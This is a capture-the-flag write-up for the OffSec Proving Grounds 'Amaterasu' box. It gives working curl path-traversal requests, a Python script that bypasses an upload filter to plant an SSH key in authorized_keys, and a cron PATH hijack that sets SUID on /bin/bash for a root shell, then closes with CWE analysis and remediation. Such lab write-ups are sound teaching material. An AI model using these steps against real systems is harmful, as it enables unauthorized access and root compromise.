Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
Web Medium

Amaterasu

OffSec Proving Grounds · Linux · boot-to-root · category Pentesting

Vulnerability
Path traversal on a file-list endpoint → upload-filter bypass → SSH key injection → PATH hijack
Impact
Full compromise — local and root flags captured (2/2)
Tools
nmap, curl, feroxbuster, ssh-keygen, a small Python client, ssh
Given
A single IP, no credentials
FLAGS  ✓ local + root captured — values redacted
Cyber Kill Chain
Reconnaissancenmap, feroxbuster
→
Exploitationpath traversal
→
Credential Accesskey upload
→
Initial AccessSSH as alfredo
→
Privilege EscalationPATH hijack
→
Impactroot access

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Reconnaissance Active Scanning: Vulnerability Scanning T1046 nmap full-port scan found FTP, SSH and two HTTP services
Discovery Active Scanning: Wordlist Scanning T1595.003 feroxbuster revealed the undocumented /help and /info endpoints
Discovery File and Directory Discovery T1083 an unrestricted dir= parameter walked the whole filesystem to /home/alfredo
Credential Access Unsecured Credentials: SSH Keys T1552.004 an attacker-generated public key was written into authorized_keys via the upload endpoint
Initial Access Exploit Public-Facing Application T1190 the extension filter checked the file part's name while the filename field controlled the write path
Privilege Escalation Hijack Execution Flow: Path Interception by PATH Environment Variable T1574.007 a root cron job prepended a user-writable directory to PATH and called tar by relative name

Vulnerability Analysis

Root Causes: Three independent weaknesses in one file-upload API, chained into a root shell.

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory — the dir= parameter on the list endpoint accepted any path, so the whole filesystem was browsable
  • CWE-434: Unrestricted Upload of File with Dangerous Type — the upload endpoint read its destination path from a separate filename form field it never validated
  • CWE-646: Reliance on File Name or Extension of Externally-Supplied File — the type check inspected the multipart file part's own name, not the field that actually chose where the data landed, so one field satisfied the filter while the other field did the damage
  • CWE-426: Untrusted Search Path — a root cron job prepended an attacker-writable directory to PATH and then called a system binary (tar) without an absolute path

Severity: No CVSS score applies — these are configuration and code weaknesses on a lab host, not a scored vulnerability in a shipped product. The end result is unauthenticated-to-root compromise through a single custom API.

References:
CWE-22 CWE-434 CWE-646 CWE-426

Summary

Amaterasu is a Linux host rated Medium, built around a small custom Flask REST API. Every finding came from that one API: a path-traversal bug on its file-listing endpoint mapped out the filesystem and found a user's home directory, and a mismatch between the two fields the upload endpoint reads let an SSH key be written straight into that user's authorized_keys. From there, a root cron job that built its PATH out of a directory the new user could write to handed over a root shell.

Key insight: the upload endpoint's filter and its destination logic each trusted a different piece of attacker-controlled input. Validating one field while acting on another is the same class of bug as validating a cookie while trusting a header — whichever field goes unchecked is the one worth attacking.

Recon

A full TCP scan with service and version detection:

shell
nmap -p- -sV -T4 <target>
PortServiceVersion
21FTPvsftpd 3.0.3
25022SSHOpenSSH 8.6, non-standard port
33414HTTPWerkzeug / Python 3.9.13 — a custom Flask API
40080HTTPApache 2.4.53 (Fedora)

Anonymous FTP login was accepted, but the directory listing never came back over the lab VPN's data connection. The Werkzeug port stood out as the "custom REST API" the box was built around, so it became the focus.

Enumeration — mapping the API

The API root returned a bare 404, so the next step was finding its routes:

shell
feroxbuster -u http://<target>:33414 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Two self-documenting endpoints turned up, /help and /info:

shell
curl -s http://<target>:33414/help
["GET /info : General Info","GET /help : This listing",
 "GET /file-list?dir=/tmp : List of the files","POST /file-upload : Upload files"]

Four endpoints confirmed: /info, /help, /file-list and /file-upload. The API told us its own attack surface.

Path traversal — walking the filesystem

The dir parameter on /file-list was passed straight to the filesystem with no containment check:

shell
curl -s "http://<target>:33414/file-list?dir=."
["boot","dev","proc","run","sys","tmp","etc","root","var","usr", ...]

curl -s "http://<target>:33414/file-list?dir=/home"
["alfredo"]

curl -s "http://<target>:33414/file-list?dir=/home/alfredo"
[".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history"]

curl -s "http://<target>:33414/file-list?dir=/home/alfredo/.ssh"
["id_rsa","id_rsa.pub"]

That one parameter named a user (alfredo), located the flag (local.txt), and confirmed an existing .ssh directory — a full map of the target without a single credential.

Why this matters: an endpoint meant to list a scratch directory was never restricted to one. Any parameter that becomes part of a filesystem path has to be resolved and checked against an allowed root before use — "it's just a listing feature" is exactly how traversal bugs get shipped.

Foothold — reverse-engineering the upload endpoint

The upload endpoint was undocumented beyond its existence, so its behaviour was worked out one response at a time with a small Python client, rebuilt in stages.

Stage 1 — scaffolding. A bare list_dir() helper confirmed the client could talk to the API at all.

Stage 2 — first upload attempt. Posting a file with only a multipart file part failed with {"message":"No filename part in the request"} — the API reads its destination from a separate filename form field, not from the uploaded part's own name.

Stage 3 — adding the field. Once a filename field was sent alongside the file, the upload succeeded and landed in /tmp — fixing the base directory any traversal would need to climb out of.

Stage 4 — aiming at authorized_keys. Setting filename to ../home/alfredo/.ssh/authorized_keys hit an extension filter: {"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}. The filter clearly looked at something — but which field?

Stage 5 — the bypass. The filter was checking the file part's own name, while the filename field alone controlled where the bytes were written. Giving the file part an allowed extension while keeping the traversal path in the filename field satisfied the filter and still wrote wherever we wanted:

python · amaterasu.py
import requests

BASE = "http://<target>:33414"

def list_dir(path):
    r = requests.get(f"{BASE}/file-list", params={"dir": path})
    return r.json()

def upload(local_file, remote_name):
    with open(local_file, "rb") as f:
        r = requests.post(f"{BASE}/file-upload",
                          files={"file": ("payload.txt", f)},   # allowed ext -> passes filter
                          data={"filename": remote_name})       # traversal path -> controls write
    return r.status_code, r.text

if __name__ == "__main__":
    code, body = upload("amaterasu.pub", "../home/alfredo/.ssh/authorized_keys")
    print(f"Status: {code}")
    print(f"Body: {body}")
    print(list_dir("/home/alfredo/.ssh"))
shell · result
Status: 201
Body: {"message":"File successfully uploaded"}

['id_rsa', 'id_rsa.pub', 'authorized_keys']

A freshly generated keypair's public half was now trusted by alfredo's account.

Local flag

SSH with the matching private key logged straight in:

shell
ssh -i amaterasu alfredo@<target> -p 25022
[alfredo@fedora ~]$ cat local.txt
<redacted>

The box resets authorized_keys on restart, so the upload step is re-run whenever the lab instance restarts — a single script re-plants the key.

Privilege escalation — PATH hijack of a root cron job

Alfredo's home directory held a leftover copy of the API's own source, restapi/, which the traversal scan had already surfaced. The system crontab ran a backup script as root every minute:

shell
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
*/1 * * * * root /usr/local/bin/backup-flask.sh

cat /usr/local/bin/backup-flask.sh
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *

The script itself was root-owned and not writable, but it prepended /home/alfredo/restapi — writable by alfredo — to root's PATH, then invoked tar by relative name. Root would run whichever tar appeared first on that PATH:

shell
echo '#!/bin/bash' > ~/restapi/tar
echo 'chmod u+s /bin/bash' >> ~/restapi/tar
chmod +x ~/restapi/tar

Within a minute the cron job fired, ran the planted tar as root, and set the SUID bit on /bin/bash:

shell
ls -la /bin/bash
-rwsr-xr-x. 1 root root 1390080 Jan 25  2021 /bin/bash   # note the 's'

bash -p
# id
uid=1000(alfredo) gid=1000(alfredo) euid=0(root) groups=1000(alfredo)
# cat /root/proof.txt
<redacted>

Root flag captured — full compromise achieved.

Findings & remediation

#FindingSeverityRemediation
1Unrestricted dir= parameter on the list endpointMediumCanonicalize and confirm the resolved path stays within an allowed root before listing it
2Upload destination taken from an unvalidated filename fieldCriticalUse secure_filename() or an equivalent allow-list; never build a write path from raw user input
3Type filter checks a different field than the one that controls the writeCriticalValidate the exact value used for the destination, not a cosmetic field sent alongside it; check content, not just a name
4Root cron script relies on a relative binary name and a writable PATH entryCriticalCall binaries by absolute path in privileged scripts; never prepend a user-writable directory to root's PATH; run backup jobs as a dedicated unprivileged account

Takeaways

  • Read every field the server accepts, not just the obvious one. The whole foothold came from noticing the upload endpoint trusted two different fields for two different jobs, and only validated one of them.
  • A listing endpoint is still an endpoint. "Just shows files in a scratch folder" is a claim worth testing, not trusting.
  • PATH hijacks hide in automation, not just interactive shells. A cron job nobody watches closely is a quiet way to run attacker code as root once per minute.

Practice next

Explore more web security challenges on OffSec Proving Grounds.

Explore OffSec Proving Grounds ↗